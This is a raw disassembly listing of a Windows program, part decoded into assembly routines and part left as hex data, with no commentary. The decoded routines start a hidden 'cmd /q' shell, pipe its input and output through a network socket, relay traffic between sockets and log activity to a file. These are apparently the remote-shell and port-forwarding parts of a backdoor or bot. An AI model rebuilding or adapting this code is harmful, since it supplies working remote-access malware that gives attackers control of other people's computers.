370186E8h, 0C0859002h, 0E8902975h dd 2280226h, 42E06850h, 59E80043h, 59000047h, 0CC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h, 53022DF5h dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 89E24589h dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 0B9E89050h, 8B0227F9h, 0C969B84Dh, 234h dd 8189C63Bh, 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh dd 3AE89032h, 0EB0227F9h, 9BE890EDh, 50022800h, 43422468h dd 45CEE800h, 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh dd 0FBEC858Dh, 0EC68FFFFh, 50004341h, 0AC15E8h, 0CC48300h dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h dd 4CB00Ch, 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh dd 0F336E890h, 335B022Dh, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEBC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 nop call near ptr 2690CE2h push eax push offset unk_434384 call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 nop call near ptr 2690CE2h push eax push offset unk_434384 call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26A0E69h loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 2790000h sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 nop call near ptr 2690CE2h push eax push offset unk_434350 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j call near ptr 26A0E69h nop push 1 push dword ptr [esi+8] call near ptr 2710D21h nop loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB00C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 call near ptr 2690CE2h nop push eax push offset unk_434434 jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 nop call near ptr 2690CE2h push eax push offset unk_4343F4 loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_4343CC call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax call near ptr 2720000h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2670C39h test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEB8[eax], ecx nop call near ptr 26708E6h jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj nop call near ptr 2690CE2h push eax push offset unk_434474 call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344B4 call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAF8C test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx call near ptr 2790158h nop jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 2700000h nop test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 227F2ACh dd 0C84D8B90h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 227F22Dh, 90EDEB90h dd 27F98DE8h, 858D5002h, 0FFFFFD2Ch, 43452468h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 31E89056h, 5F022DECh, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Dh, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h dd 90022DEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 2DEAE7E8h, 106A9002h, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 0EA4EE890h, 458D022Dh, 50106AE8h, 1C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h dd 875FF00h, 0FF9DF9E8h, 0E85359FFh, 22DE9E0h, 4006890h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 2DE983E8h, 36FF9002h, 0B00C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 0E96AE890h db 2Dh, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF5C lea eax, [ebp-104h] push eax push ebx call dword_4CAE60 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE60 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 8EE89000h dd 390227EDh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Dh dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh dd 0F883004Ch, 681975FFh, 1388h, 27ECC8E8h, 8DFF9002h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 90000001h, 27EC94E8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 2DE6DBE8h, 7D8B9002h, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022DE4h dd 3E8h, 0E973E890h, 0E8570227h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax nop call near ptr 279027Eh lea eax, [ebp-114h] push 104h push eax nop call near ptr 2690000h lea eax, [ebp-114h] push offset asc_434E54 ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E24 push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 